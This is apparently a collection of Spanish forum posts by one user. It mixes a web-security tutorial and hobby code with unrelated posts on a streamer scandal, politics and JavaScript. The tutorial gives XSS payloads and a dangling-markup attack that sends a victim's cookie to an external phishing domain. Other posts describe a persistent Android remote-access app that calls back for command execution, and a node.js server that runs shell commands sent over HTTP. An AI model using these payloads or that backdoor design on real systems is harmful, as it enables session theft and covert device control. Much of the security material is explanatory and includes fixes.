<template id="iPoint8">{{payload}}</template>
<!-- Exploit:
</template><svg/onload=alert()>
-->

<!-- Se cierra la etiqueta script quedando el svg fuera del script y por tanto pasa de ser código javascript a html que ejecuta el script inline. -->
<script id="iPoint9">{{payload}}</script>
<!-- Exploit:
</script><svg/onload=alert()>
-->

<!-- Se cierran las etiquetas option y select quedando el svg fuera y por tanto se ejecuta el script. -->
<select id="iPoint10"><option>{{payload}}</option></select>
<!-- Exploit:
</option></select><svg/onload=alert()>
-->

<!-- Se cierran las comillas dobles y se cierra la etiqueta script pasando el svg de ser un string javascript a código html. -->
<script id="iPoint11">"{{payload}}"</script>
<!-- Exploit:
</script>"<svg/onload=alert()>
-->

<!-- Se cierran las comillas simples y se cierra la etiqueta script pasando el svg de ser un string javascript a código html. -->
<script id="iPoint12">'{{payload}}'</script>
<!-- Exploit:
</script>'<svg/onload=alert()>
-->

<!-- Se utiliza el pseudo-protocolo para ejecutar el código javascript cuando el usuario utilice el enlace. -->
<a id="iPoint13" href="{{payload}}"></a>
<!-- Exploit:
javascript:alert()
-->

<!-- Se utiliza una etiqueta meta que permite ejecución de javascript usando el uri data:. El contenido del script es un confirm codificado en base64.
<head id="iPoint14">
{{payload}}
</head>
<!-- Exploit:
<META HTTP-EQUIV="refresh"
CONTENT="4;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
-->

       El políglota se ejecuta en todos esos contextos, pudiendo faciliar blindXSS (inyección a ciegas).

     • Dangling Markup Injection (o inyección de html colgando) es un tipo de inyección que puede servir para extración de data sensible hacia un servidor externo.
Esta inyección se basa en no cerrar las comillas de un atributo para que se incluya como valor del atributo todo el contenido hasta la siguiente comilla.
NO es una inyección javascript, es una inyección HTML. Esta técnica es útil cuando existe información sensible desde el punto de inyección en el que se inyecta tu código, hasta la siguiente comilla.
El siguiente ejemplo es vulnerable a un Reflected Dangling Markup Injection.
Dangling HTML Injection
El payload es <a href=https://phishingoda.ga/windowName.htm>If you want to use images anyway click me!</a><base target="
Funciona de la siguiente manera: El <base target="contenido"> cambia la propiedad name de la ventana del navegador. Como no cerramos el contenido del atributo, el navegador entiende que todo hasta la siguiente comilla es el contenido de target.
Debido a que el nombre de la ventana no cambia al visitar otra página, si el usuario pincha el enlace, se incluye código de la página vulnerable como nombre de la ventana. Entonces el atacante solo tiene que leer la propiedad window.name y guardarla en su servidor.
Si yo atacante, quiero robarte el texto secreto (puede ser tu cookie de sesión) de la página https://stringmanolo.ga/xssSeries/DanglingHtmlInjection.html lo que hago es enviarte un link malicioso que refleje la inyección de HTML en la página. Por ejemplo:
Ey! En la página de stringmanolo han metido nueva funcionalidad! https://stringmanolo.ga/NewFeatures pincha en el enlace de la página!
El código vulnerable es el siguiente: <div id="injectionPoint">${filtroXSS(urlInyectada)}</div> Secret Cookie (unique for each user):${cookie}<div id="breakpoint"></div> donde la primera comilla después de nuestra inyección está después de la cookie, por lo que se puede extraer la cookie como valor del atributo target.
FIX: Para prevenir este fallo se debe incluir el <base target="_self"> antes de cualquier punto de inyección.
Ojo, target no es la única propiedad que permite Dangling. src y action entre otras también lo permiten. Target en cocreto se salta las políticas CSP.



  • Avanzadas:

     • DOM Clobbering (O golpeo al DOM) es una tecnica que consiste en aprovechar que elementos/etiquetas repetidos pueden ser agrupados en colecciones, haciendose accesibles como propiedad de window.
Es común que un programador implemente código para comprobar si un objeto ya existe antes de definirlo let miObjeto = ( window.miObjeto || {} ) en casos donde no se permite la ejecución de javascript pero si es posible inyectar código html, es posible realizar este ataque si se usan las propiedades del objeto para alguna acción susceptible de ser remplazada por una propiedad con posibles fines maliciosos.
En el código del siguiente ejemplo existe un objeto librarySecureLogin que contiene una url a una imagen llamada login4PNG como propiedad. Para explotar la vulnerabilidad inyectamos un par de etiquetas <a> con un id igual al nombre del objeto global que queremos crear.
En la segunda etiqueta definimos el nombre de la propiedad que utiliza el código vulnerable (login4PNG) utilizando name, ya que name a la vez que atributo de <a> también es propiedad de HTMLCollection, que es el objeto que creamos al repetir el id.
También definimos el atributo de la propiedad. De esta forma cuando se llame a la propiedad, se retornada el atributo que contiene, que en este caso es una url a una inofensiva imagen.
En caso de que el código vulnerable obtenga el src de un script de esta forma, podremos cargarle nuestro archivo javascript sin violar la política que prohíbe inline javascript.
https://stringmanolo.ga/xssSeries/DOMClobbering.html#<a id=librarySecureLogin></a><a id=librarySecureLogin name=login4PNG href=https://stringmanolo.ga/xssSeries/hacked.png></a>
Es posible que si existe una política bien implementada, no se puedan cargar recursos de otro origen. En esos casos debe comprobarse si es posible un bypass de CSP o alojar el recurso en un origen permitido.
FIX: Evita el uso de || para comprobar si una propiedad de window está definida.


Nota: Seguiré añadiendo cosas a lo largo del tiempo, pero da más curro de lo que parece. Si quereis aportar algo para que lo incluya, es bienvenido!




#17
Si juegais a juegos, veis streams o videos de youtube de juegos profesionales puede que conozcais a algunos de los protagonistas:
Scarra midlaner de Dignitas en League of Legends.
Pokimane la streamer femenina con más seguidores en Twitch.
Lilypichu, streamer femenina y artista.
Disguised Toast streamer de heartstome y jugador competitivo.
Yvonne, streamer femenina.
Fedmyster streamer y editor.

Hace 3 años entre ellos y algún otro streamer fundaron Offline TV un grupo de streamers que alquilaron una casa/mansión con el objetivo de colaborar en los streams, compartir gastos y hacer actividades en grupo.

En el último trimestre se ha montado un buen revuelo tran un incidente en el que Fedmyster llego ebrio a la vivienda en la que residen los streamers según relatan sus compañeros. Mantuvo actitudes obscenas con sus compañeras tras lo cual se reunieron para comentar el incidente. Durante la conversación todos sufrieron una gran revelación tras que una de las streamers se decidiese a comentar que había sufrido tocamientos anteriormente en múltiples ocasiones. Tras lo cual otras de sus compañeras habitacionales relato otra historia muy similar. Durante la conversación también se reveló información de manipulaciones y chantajes con respeto a otros streamers de su círculo cercano.

Todo esto detonó tras el relato de una de las streamers en Twitter tras lo que más y más información que da veracidad al modus operandi apoyase las declaraciones. Tras el relato de todas las compañeras de vivienda, fedmyster admitió que tiene un problema. Todavía no ha quedado claro si han sido solo tocamientos o llegó a mantener relaciones con sus compañeras de piso aprovechándose de su estado de embriagadez para eludir responsabilidades.

Tres días después de los relatos en Twitter, se comunicó de forma oficial desde el canal de OfflineTV la expulsión de Fedmyster de la casa con un mensaje contundente:
"Queremos estar en un lugar en el que todos se puedan sentir seguros y a gusto. Con esto en mente, Fed ha sido expulsado de Offline TV. Tampoco vivirá con nosotros. Apoyamos de todo corazon a Yvonne, su relato y a cualquiera que tenga el valor de compartir su historia."

Múltiples streamers han echo pública su opinión y desprecio sobre los echos. Otros han justificado los echos alegando que "Ligar o insinuarse de forma cutre no es un acoso ni un abuso".

El propio Fed a pedido perdón en Twitter donde relata que nunca a sido su intención acosar ni actuar de forma maliciosa y donde él mismo linkea las historias de sus compañeras:
https://twitter.com/Fedmyster/status/1277077853553561605

#18
<html lang="es">
<html lang="es-Es">
<html lang="esEs">
<html lang="es-es">

Otro?


#20
 Hice un bot de telegram para navegador y ahora estoy desarrollando una IA conversacional de 0.


Al estar orientado a navegador multiplataforma no puedo manejar archivos del sistema programáticamente. Entonces el esquema que se me ocurrió es tener un archivo online único para cada cliente. El funcionamiento sería el siguiente:


Bot lee 2 mensajes.
Bot asocia el segundo mensaje al primero y le añade el número de ocurrencias:
Bot comprueba tamaño mensaje.
Bot guarda en LocalStorage.
Cuando se supera tamaño máximo el bot sube a una api web como pastebin el localStorage.
Bot limpia LocalStorage, guarda el link en localStorage y se repite el ciclo.


Ahora las dudas:
1. Existe alguna api como pastebin que funcione crossOrigen sin necesidad de token y que solo deje subir archivos sin editarlos ni borrarlos?


2. Como almaceno en localStorage este tipo de info? Json? XML? Todas las propiedades asociadas a una clave? Una clave por cada ocurrencia?


Estoy algo atascado en la implementación de guardar en localStorage.


Gracias!






#21
 Probé la api se termux con el comando termux-tts-speak "test" y nada
#22
Controlar node.js desde un navegador.

Cómo funciona?
Guardas el código node.js como servidor.js en el equipo a ser controlado. Cambia la ip por la tuya actual.
Guardas el código navegador como cliente.html. Cambia la ip por la ip actual del equipo corriendo el servidor.
Ejecuta el código node.js con el comando node servidor.js
Abre el client.html en el equipo que va a controlar el servidor. Escribe @seguido del comando en el priner campo y dale al botón Enter.

Cómo y para qué lo uso yo?
Activo la zona wi-fi en un Android con termux.
Me conecto al wi-fi con otro Android incompatible con Termux.
Controlo el smartphone con node.js y lo uso de servidor para desarrollo, usar bots, herramientas de hacking...

Algo más?
Puedes controlar el node escribiendo directamente sobre la barra de direcciones comandos simples sin espacios ni otros caracteres que tu navegador codifique.
CÓDIGO VULNERABLE A CSRF Y MITM entre otros.


Código navegador:
Código (javascript) [Seleccionar]
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>R.Control</title>
<style>
textarea {
height: 30em;
width: 20em;
  display: block;
}
</style>
</head>
<body>
<input type="text" id="comando">
<button type="button" id="bEnter">Enter</button>
<textarea id="res"></textarea>
<script>
document.querySelector("#bEnter").onclick=function() {
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://192.168.5.1:8080/?comando=" + document.querySelector("#comando").value , true);
xhr.send();
xhr.onreadystatechange = function() {
 
  if (xhr.readyState == 4) {
   
    if (xhr.status == 0 || xhr.status == 200) {
     
    try {
alert(xhr.getAllResponseHeaders());
   
      document.querySelector("#res").value = xhr.responseText;
      }catch(err){alert(err)}
    }
  }
}
}
</script>
</body>
</html>


Código node.js
Código (javascript) [Seleccionar]
const { http } = require("http");
const { fs } = require("fs");
const { url } = require("url");
const { exec } = require("child_process");

const PUERTO = 8080;
const IP = "192.168.5.1";

http.createServer( function (request, response) { 

   var pathname = url.parse(request.url).pathname;
   var q = url.parse(request.url, true);
   var comando = q.query.comando;
   var output = "";
   console.log("Request for " + pathname + " received.");
   if(comando !== undefined) {
     console.log("Comando " + comando);
     if(comando.substr(0,1) == "@") {
       exec(comando.substr(1), (error, stdout, stderr) => {
if(error) {
          console.log("Error: " + error.message);
} if(stderr) {
          console.log("Error: " + stderr);
  return;
}
console.log("Output: " + stdout);
output += stdout;

response.setHeader("Access-Control-Allow-Origin", "*");
response.writeHead(200, {'Content-Type': 'text/html'});
response.write(output);
response.end();

       });
     }
   }
}).listen(PUERTO, IP);

console.log("Server listening at " + IP + ":" + PUERTO);

#23
Abril negro / Abril Negro 2020 - RS
9 Mayo 2020, 07:33 AM
RS - RatSleep

Qué es? RatSleep es una aplicación Android escrita en Java para controlar remotamente dispositivos Android.

Cómo funciona? Se debe compilar la aplicación creando un nuevo proyecto para Android y añadiendo los archivos de código al proyecto. Modifica el archivo Conexión para remplazar la IP y el Puerto que vienen en el archivo por tu IP y tu puerto de preferencia. El programa recomendado para la compilación es Java N-IDE disponible gratuitamente en la Play Store. Tras compilar el archivo se te generará en la ruta JavaNIDE > rs > app > build > output > app-debug.apk
Solo necesitas instalar el archivo en el dispositivo a ser controlado.
Una vez instalado, cada pocos minutos la aplicación realizará una petición al servidor y puertos indicados.

Características
Puedes controlar el dispositivo con el netcat y otras alternativas que te peemitan comunicarte utilizando texto plano sin ningún protocolo.
Principalmente puedes ejecutar comandos nativos sobre el sistema.
Intentará conectarse en bucle a tu servidor cada 2-3 minutos aproximadamente.
Una vez instalada se autoejecutará hasta que el usuario decida desinstalarla manualmente. Esto quiere decir que se ejecuta tras reinicios, cierres forzados, apagados del dispositivo...
No necesita ROOT.

Por qué?
La idea surgió tras no poder conectarme desde un Android a otro automáticamente. Utilizo un Android de servidor en mi día a día y esta aplicación me permite controlar el dispositivo en cualquier momento con tan solo levantar el WI-FI compartido. Así desde un Android bastante básico puedo utilizar herramientas más avanzadas como Node.js, PHPcli, Postgresql, Radare2...

Estado actual?
Parte del código está mal estructurado, dificultando la integración del RAT con otra apk que se quiera preservar en el sistema por un hipotético usuario.
No tiene funcionalidad básica de ningún tipo utilizando las apis nativas como podrían ser acceso a cámara, galería, grabar audio...
Estas características son fáciles de incorporar y se pueden utilizar directamente con los comandos que vienen incorporados de fábrica en Android.
NO se incluye ningún tipo de cifrado ni protocolo por lo que alguien en tu misma red local, una aplicación instalada o alguien en internet podría realizar un ataque MITM.

Código
Pastebin - activity_main.xml

Pastebin - AndroidManifest.xml

Pastebin - Conexion.java

Pastebin - MainActivity.java

Pastebin - Servicio.java

Pastebin - StartBoot
#24
Abril negro / Abril Negro 2020 - JEX
9 Mayo 2020, 06:06 AM
JEX - javascript Offline Hex Editor.

Qué es?
JEX es una aplicación web escrita en javascript para analizar y modificar todo tipo de archivos desde cualquier dispositivo que pueda utilizar un navegador.

Cómo funciona?
El funcionamiento es sencillo, abres el documento.html con el navegador y subes cualquier archivo. El botón Compilar sirve para que una vez que modifiques el hexadecimal del archivo se te descargue un nuevo archivo con las modificaciones incorporadas. El botón Info es auto descriptivo y para manejar la interfaz lo único que necesitas es scrollear el hexadecimal.
Pincha aquí para versión online.
También puedes copiar el código, pegarlo y guardarlo como JEX.html . Después lo abres con el navegador.

Características
Le incorporé un análisis a archivos ELF y se puede ampliar el análisis a diferentes archivos.
Detecta los mime type de múltiples archivos muy variados.
Indica la posible extensión del archivo.
Indica la arquitectura/plataforma*.
Indica la ordenación de bytes*.
Indica la cpu*.
Indica el tamaño del archivo.
Facilmente extendible.
*Para ELF.

Todo el código está en un solo archivo para hacerlo más accesible.

Por qué?
La idea surgió con la finalidad de ofrecer esta característica a dispositivos Android antiguos incompatibles con software que sí permitiría hacer estes análisis. También preservar su funcionamiento 100% offline para que no sea necesario trabajar en la red para no esponer el malware con el que se esté trabajando.

Estado actual?
El proyecto presenta un problema que me hizo no continuar temporalmente con el desarrollo. No se pueden subir archivos que superen los pocos kilobytes (600KB+). La opción que valoré para poder procesar archivos grandes pasa por utilizar WebAssembler, en el cual aún no tengo proficiencia suficiente y por eso no continué el desarrollo. No lo descarto en el futuro o tomar otras alternativas.

Código
Pastebin - JEX
#25
Reflexiones e incógnitas ante la política, la sociedad y las crisis.

Antes de empezar, quiero remarcar que todas la conclusiones y posibilidades que expongo aquí, son meras especulaciones. No tengo ni la más mínima prueba que cerciore de ninguna forma las teorías. Es mera opinión. Simplemente es algo que me ronda la cabeza y me apetece compartir con vosotros.

Recuerdo la primera vez que me interesé por la política. Era cerca del 2003. Tenía yo por aquella época 10 años. Recuerdo que colindaba con la fecha del atentado a las torres gemelas que se produjo en el 2001. Me eboca a la época de mi infancia.
Uno de mis primeros recuerdos fue con 3-4 años. Era la noche de navidad. Mi madre actuó de una forma poco común esa noche. Me dijo: "Tienes que ir a la habitación de tu abuela vale? " Mi padre abrió la puerta y abandonó la casa. Sabía que era la noche de navidad y me olía lo que pasaba, no me gustaba que me engañaran y me tomasen por tonto. Subí y mi abuela me regaló dinero y me intentaba entretener para que no abandonase su habitación. Era la primera vez en mi vida que entraba a esa habitación. Yo no quería el dinero porque me di cuenta de todo, salí corriendo y pillé a mi padre entrando con una bicicleta por la puerta. Mi madre le riñó porque les pillé. Yo le dije que ya lo sabía, ella estaba totalmente convencida de que yo no lo sospechaba ni lo más mínimo y le mentía para ocultar mi dolor. Se intentaba autoengañar, como podía permitirse asumir que por su culpa su queridísimo hijo había perdido la inocencia. Creo que ese día cambió algo en mi. Me paré a reflexionar pensando, cuantas más cosas serán mentira? Unos días después mi madre estaba en la cocina con el hornillo encendido, me dijo que no metiera la mano, que me iba a quemar. No dudé, metí la mano directamente hacia el fuego y efectivamente me quemé. Aún recuerdo esa dolorosa sensación.

Creo que gran parte de mi forma de ser procede de ese día. No como un trauma que me marcase, porque ya me lo esperaba y no me sorprendió, y menos con esa edad. Si no como el efecto mariposa.

Esa etapa era muy aburrida, era una casa grande de pueblo, sin vecinos de mi edad, y todo lo que tenía a mano eran mis familiares, 4 animales y algunas revistas.

Me pasé hasta mis 6 años que se murió mi abuela, viviendo en aquella casa aburrido, sin mucho más que hacer que jugar con los saltamontes y sentarme largas tardes a pensar, dejar volar mi imaginación.

Tenía unas ganas terribles de poder ir al colegio para estudiar, me parecía increhíblemente entretenido en comparación a las tardes dibujando o jugando yo solo a la pelota en el patio de mi casa.

Recuerdo mi etapa en la que tenía la mayor curiosidad que he tenido en la vida, con 7 años.

Ya en aquella época era totalmente libre. Me quedaba con los amigos desde las 4 de la tarde hasta las 6 o 7. Después me iba a casa de mis primos desde las 7 de la tarde hasta que anochecía cerca de las 10-11. Después me volvía a casa solo de noche. Era exageradamente paranoico, miraba hacia todos los lados todo el rato. Mis padres jamás me habían advertido de los peligros reales que ahora comprendo, pero probablemente tampoco estaba tan espuesto, era el más rápido corriendo de mi clase y cualquier ruido por mínimo que fuese llamaba mi atención. Me imaginaba todo el rato como sería si alguien me intentase atacar, así el miedo no me paralizaría y podría salir disparado sin dudas.

No es que mis padres fuesen irresponsables, o al menos mi madre no lo era, pero mi capacidad de convencimiento para con los demás era más que elevada.

Me encantaba mirar las estrellas, el tema que más me apasionaba sin duda alguna era el espacio. Intentaba comprenderlo, me imaginaba estrellas y planetas acercándose unos a otros, intentaba aplicar la lógica de la tierra en como serían las órbitas cuando se acercasen, me fascinaba imaginármelo asi como también reflexionar sobre mi mismo, el sentido de la vida...

Mi interés en la política y la sociedad vino poco después. El desencadenante fue que empecé a posponer las tareas para salir al parque con los amigos, jugar al Pokémon, y me quedaba despierto hasta las tantas para ver Buenafuente. Creo que era el único programa en la época que respetaba al espectador y no lo trataba como un imbécil de *****. Mis compañeros veían los Lunis o incluso los Teletabis y me daba verguenza ajena, no lo comprendía, eran tan básico predecible y aburrido, cómo les podía gustar? Era todo tan básico y aburrido...

Me acostaba tarde y cuando me despertaba tenía miedo a las riñas en clase asique hacía los deberes corriendo.
No me daba tiempo asique dije, y si me pongo el despertador antes? Me lo puse a las 6 de la mañana. Encendí la tele y empecé a hacer zapping, todo en la tele era aburridísimo y absurdo, menos una cosa. Las noticias de TVE. Se hablaba de un montón de cosas que no entendía y eso me fascinaba.

Me ponía a hacer los deberes con las noticias de fondo, noche cerrada, sin ruidos... Era una sensación que me agradó tanto que repetí durante años.

Soñaba con tener una empresa. Pensaba guau, creo que se me daría increhíblemente bien tener una empresa!! Qué maldita mala suerte no tener un padre que tuviese una empresa que yo pudiese manejar. Me imaginaba a otras personas que si tendrían al suerte con mi edad pero que probablemente eran como mis compañeros y no sabría aprovechar semejante oportunidad, puede que incluso lo detestasen. Me daba mucha rabia. Quería tener una oficina a la que ir de camisa para tratar asuntos interesantes como los que veía en las noticias.

Obviamente siendo un númerito más diario en las audiencias de TVE, también empecé a conocer la política. Salía Zapatero por aquella época, era mi favorito porque siempre estaba sonriendo y afrontaba a la prensa sin esconderse, hablaba directamente con el presentador del telediario y parecía alguien muy inteligente y sin demasiadas malas intenciones. Finalmente ganó esas elecciones generales y también las siguientes.

Vino la crisis y adios PSOE, hola PP. Empezaron a salir escándalos y críticas por todos los lados y se perdió bastante la confrontación dialéctica de argumentos para pasar a personajes como Esperanza Aguirre que recordaban más al propio Jesús Gil comiéndose un zanco de pollo en una bañera que a otra cosa.

En la actualidad 2020 la política es un tema candente y que ha crecido exponencialmente en los últimos años. Ha pasado a ser el nuevo corazón donde seguimos a los personajes como si estuviésemos viendo Friends. Tener cabezas políticas quita responsabilidad a las siglas de cada partido, simplifica todo el debate político.
Durante estos 2 últimos años he sido un gran fan de las intervenciones políticas en medios, debates, noticias...
Estaba presenciando como la política se iba a hundir, o más bien la clase política. Y justo en el momento exacto que gana el PSOE aparece la crisis del coronavirus... Otra vez? Ummm... Y la vuelve a cagar... Ummm... Pero esta vez hay una diferencia, no tengo 10 ni 14 años. El PSOE que nos ha engañado a la gran mayoría en uno de los mayores alardes de inteligencia que jamás he presenciado, pues resulta que es totalmente incapaz de ver venir el virus, tomar las medidas adecuadas a tiempo, y gestionar correctamente hasta las cosas más básicas tras saber de que va la historia y tener referencias y un supuesto equipo de (aún más supuesto) expertos. Pero si lo veía venir yo a kilómetros... Qué no tengo ni p**a idea! Cómo es posible entonces que ellos no?
Aquí es donde empiezo a especular sobre que está pasando. Empiezo a generar teorías que explicarían esta discrepancia y me surgen muchas, demasiadas. Incluso puede que varias sean verdad simultaneamente, o que absolutamente ninguna lo sea.

Todas ellas derivan de 3 ideas principales que paso a exponer:

1. El PSOE está lleno de chimpancés que se creen totalmente por encima de la inteligencia colectiva. En realidad ellos están siendo totalmente controlados por las verdaderas inteligencias del mundo sin olérselo ni lo más mínimo dada su baja suficiencia mental.

La política estaba fracasando y las empresas y la sociedad podrían estar empezando a controlar el cotarro. La mayor amenaza para las élites. Si no hay pobres, no hay ricos, esto es así aquí y en Pekín. Quien coño se va a deslomar a picar piedra día y noche por dos duros si no pasa hambre? Si no hay picapiedras no hay quien sostenga la economía.

2. La clase política se adora, se admira y se hacen pajas pensando los unos en los otros. Se creen la élite del mundo y disfrutan tirándose los trastos a la cabeza y metiéndose en el fango. Con la deportividad propia de los peleadores de los deportes de contacto de se lían a hostias delante de la cámara para crear espectáculo y detrás de cámaras se van todos juntos a entrenar y a emborracharse.

A más crisis, peores decisiones y más muertos, pues mayor es la rabia que impulsa a votar. Y a mayor número de votos más dinero para todos. "Cuanto peor para todos, mejor. Mejor para mi el suyo. Beneficio político."

3. La política está llena de paletos sin valores o están tan enfrascados mirándose los unos a los otros que son totalmente incapaces de ver quien toca a la puerta.

La verdad es que me da bastante rabia ver tantas malas decisiones una tras otra, que cualquiera puede ver venir de lejos y que se toman a conciencia.
Por ejemplo la desescalada actual, es obvio que va ha haber repunte. Es absurdo desescalar o esto de la fases. Habría que continuar con el confinamiento hasta que se reduzca a un número muy pequeño los casos, y entonces ir alternando entre desconfinamiento y confinamiento para mantener siempre las infecciones en una cifra baja. Con las medidas tomadas no se va a mejorar la economía, se abrirá hasta que revienten los hospitales y entonces no les quedará otra que cerrar todo de nuevo o ser linchados públicamente. Y qué es mejor? Tener la infección controlada y mantener abiertos los negocios tomando medidas, o dejar ahora salir a todo dios y que a los 3 meses las empresas tengan que hacer todas otro parón con lo que eso supone?
Quizás esté todo previsto para cargarse a la pequeña y mediana empresa, y como la demanda no se va a desplomar se benefician las grandes empresas. La verdad es que no entiendo la motivación del gobierno por la desescalada. Supongo que quieren que se vaya infectando todo el mundo de forma controlada cuanto antes. Pero se van a cargar a millones de personas si hacen esto... Se lo ahorran de pensiones.
#26
Foro Libre / Colores favoritos?
5 Mayo 2020, 03:46 AM
 Me gustaría saber la preferencia en general de los usuarios del foro.
#27
Código (java) [Seleccionar]
package com.stringmanolo.elhrecent;

import android.app.Activity;
import android.os.Bundle;
import android.webkit.WebView;
import android.webkit.WebChromeClient;
import android.webkit.JsResult;
import android.os.Handler;
import com.stringmanolo.elhrecent.R;

/*

Este código ha sido desarrollado y probado en el siguiente entorno:

Sistema: Android.

IDE: Java N-IDE.

Software adicional: Termux/netcat y google chrome.

*/


/*

Como funciona?
Pones un servidor a la escucha y abres esta aplicación.

Como compilar?
Debes crear un nuevo proyecto para Android y añadir el codigo.

Este es el MainActivity.java

Añade también el permiso de acceso a internet en el manifest y añade un webview en el activity_main.xml con id navegador
android:id="@+id/navegador"

*/

public class MainActivity extends Activity {
  @Override
  protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState); setContentView(R.layout.activity_main);

/* id.navegador definido en activity_main.xml */
    final WebView Navegador;
    Navegador = (WebView)findViewById(R.id.navegador);
   
/* Habilita javascript */ Navegador.getSettings().setJavaScriptEnabled(true);

/* Utiliza chrome de cliente HTTP. */
    Navegador.setWebChromeClient(new WebChromeClient() {
      @Override
      public boolean onJsAlert(WebView view, String url, String message, JsResult result) {
/* Habilita el alert */
        return super.onJsAlert(view, url, message, result);
      }   
    });

/* Cambia el userAgent para que no salga el confirm de tapatalk */ Navegador.getSettings().setUserAgentString("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36");
   
/* Carga la página con mensajes recientes del foro. */ Navegador.loadUrl("https://foro.elhacker.net/recent.html");

/* Handler para zumbar el script en el contexto de la página del foro. Con espera asíncrona. */
    final Handler jsh = new Handler();
    jsh.postDelayed(new Runnable() {
      @Override
      public void run() {

/* Código desglosado:

javascript:
Pseudoprotocolo. Permite ejecutar el script en el contexto de la página actual.

document.querySelectorAll(\".bordercolor\");
Obtiene todos los elementos de la página con la clase bordercolor.

tags+=links[i].outerHTML;tags+=\"<p></p>\";
Obtiene el código de todos los elementos en un string y los separa utilizando etiquetas <p>.

return \"SFRUUC8xLjEgMjAwIE9LDQoNCg==\" +''+btoa(tags);
En la llamada a la funcion Scrap() retorna un ok status 200 codificado en base64 y codifica a base64 el código de todos los elementos obtenidos de la página.

r.open('GET','http://127.0.0.1:8080/q?codigo='+Scrap(), 1);
Envia una petición GET a la dirección 127.0.0.1 puerto 8080 el parámetro y en la propia url el retorno de la función Scrap()

*/
Navegador.loadUrl("javascript:function Scrap(){var links=document.querySelectorAll(\".bordercolor\");var tam=links.length;var tags=\"\";for(var i=1;i<tam;++i){tags+=links[i].outerHTML;tags+=\"<p></p>\";}return \"SFRUUC8xLjEgMjAwIE9LDQoNCg==\" +''+btoa(tags)}r=new XMLHttpRequest();r.open('GET','http://127.0.0.1:8080/q?codigo='+Scrap(), 1);r.send();r.onreadystatechange=function(){r.readyState==4&&r.status==200?alert(r.responseText):1}");   
      }
    }, 15000); /* Esperar 15 segundos para conexiones lentas. */
  }
}
/* Se debe poner a la escucha previamente un servidor en la dirección y puerto que asignes en el script.

Yo utilizo el siguiente comando:

$ netcat -l -v 127.0.0.1 8080 | grep -Po '(?<=(codigo=)).*(?=HTTP)' | base64 -d > codigoH.html | netcat -l -k 127.0.0.1 8081 < codigoH.html | echo -e "\r\n\r\n\r\n"

Comando desglosado:

netcat -l -v 127.0.0.1 8080
Pone a la escucha y logea la actividad en la ip 127.0.0.1 y puerto 8080. Según tu versión de netcat puede cambiar la sintaxis.

| grep -Po '(?<=(codigo=)).*(?=HTTP)'
Obtiene solo el string entre codigo= y HTTP. Es decir, solo el 200 ok status y el código extraido de la página codificado en base64.

| base64 -d > codigoH.html
Decodifica de base64 y guarda el stream en un archivo codigoH.html

| netcat -l -k 127.0.0.1 8081 < codigoH.html
Pone a la escucha el netcat también en la dirección 127.0.0.1 con puerto 8081 y responde con una petición y el contenido html. De esta forma netcat actual de servidor válido para el navegador. Al poner http://127.0.0.1:8081 recibes el código. Según tu navegador puede que necesites preformatear el documento en un html válido y añadirle algunas cabeceras o etiquetas meta para la codificación.

echo -e "\r\n\r\n\r\n"
Añade el fin de la petición para que el navegador carge la página y rompe el netcat.

*/


Hice un scraper cutre para ver los últimos mensajes del foro en el Android.

Se le puede meter el runable como servicio y arrancar al inicio para tenerlo 24/7. Hacer un intento desde un broadcast reciber, meterle un systemclock.pause, cambiar el netcat y demás por sockets, mostrar el código en una preview con notificaciones o en plan widget o ventana... También podeis meterle una interfaz de javascript y controlar el navegador desde el netcat con la interfaz, el pseudoprotocolo, el xhr y el eval. Por ejemplo podrías darte un llama cuelga automáticamente desde un Android a otro cuando alguien publique un nuevo tema en un foro que te interesa xD

Puedes también enchufarle por pseudoprotocolo etiquetas style a lo bruto después del for
tags+=\"<style>td{border-left: 3px solid red;background-color:lightgrey;}</style>\";

Puede reusar la misma metodología para enviar forms, o hacer otras tareas con javascript en otras páginas.

Igual más alante lo mejoro para que se pueda automatizar con interfaz en múltiples páginas.
#28
Desarrollo Web / Usar react offline?
1 Mayo 2020, 19:11 PM
Hola, estoy intentando correr React offline y no tengo nada claro cual es el problema.

En su web tienen estos script src:
<script src="https://unpkg.com/react@16/umd/react.development.js" crossorigin></script>

<script src="https://unpkg.com/react-dom@16/umd/react-dom.development.js" crossorigin></script>

Entonces accedí a cada link y usando este programa:
https://github.com/StringManolo/Smpider/blob/master/shortVersion.js

seleccioné el innerHTML de los pre tag de los links y me los descargué como 2 archivos. reactDev.js y reactDevDom.js

Utilicé un ejemplo que tienen en la web y substituí los valores de ambos atributos src por la ruta de los nuevos archivos.

Por último hice un servidor en node.js para responder al navegador con los content-type en la cabecera.

Hago un url.parse con el módulo url y en base a la extensión escribi el content type adecuado.
Algo así:
Código (javascript) [Seleccionar]
if (pathname.substr(pathname.length-3 == ".js") {
response.writeHead(200, { "Content-Type": "text/html"});
} else {
response.writeHead(200, { "Content-Type": "text/javascript"});
}
response.write(contenidoArchivo);


Probé varios content-type en lugar de text/javascript, no sé si estará ahí el error.


Cuando cargo el index.html simplemente no carga el botón que se supone que tiene que cargar.

El ejemplo es este de carga react en un minuto con las etiquetas script.
https://reactjs.org/docs/add-react-to-a-website.html



Básicamente quiero poder desarrollar offline y cachear las libs para que con mi caca internet no tarde 5 minutos en descargar las libs cada vez que abra una app en el navegador.

#29
Los generadores o funciones generadores simplifican la tarea de escribir iteradores. En lugar de retornar un valor se genera una secuencia de resultados o una serie de valores. Este tipo de funciones retornan un objeto con el método next() que utilizamos para avanzar en la secuencia de expresiones definidas en el cuerpo de la función.

Código (javascript) [Seleccionar]
function* generarSecuencia() {
yield 5 + 6;
yield String.fromCharCode(parseInt("1110000", 2).toString(10));
yield 3 + 4;
return 14;

}

var secuencia = generarSecuencia();

alert( JSON.stringify(secuencia.next()) );
alert( JSON.stringify(secuencia.next()) );
alert( JSON.stringify(secuencia.next()) );
alert( JSON.stringify(secuencia.next()) );
alert( JSON.stringify(secuencia.next()) );

En este ejemplo primero definimos la función generadora.
Definimos cada campo precedido por la keyword yield.
Retornamos la ejecución.
En el parámetro del alert invocamos next() sobre la función y utilizamos JSON.stringify para convertir el objeto en un string para ver exactamente que contiene cada objeto retornado:
{"value":11,"done":false}
{"value":"p","done":false}
{"value":7,"done":false}
{"value":14,"done":true}
{"done":true}

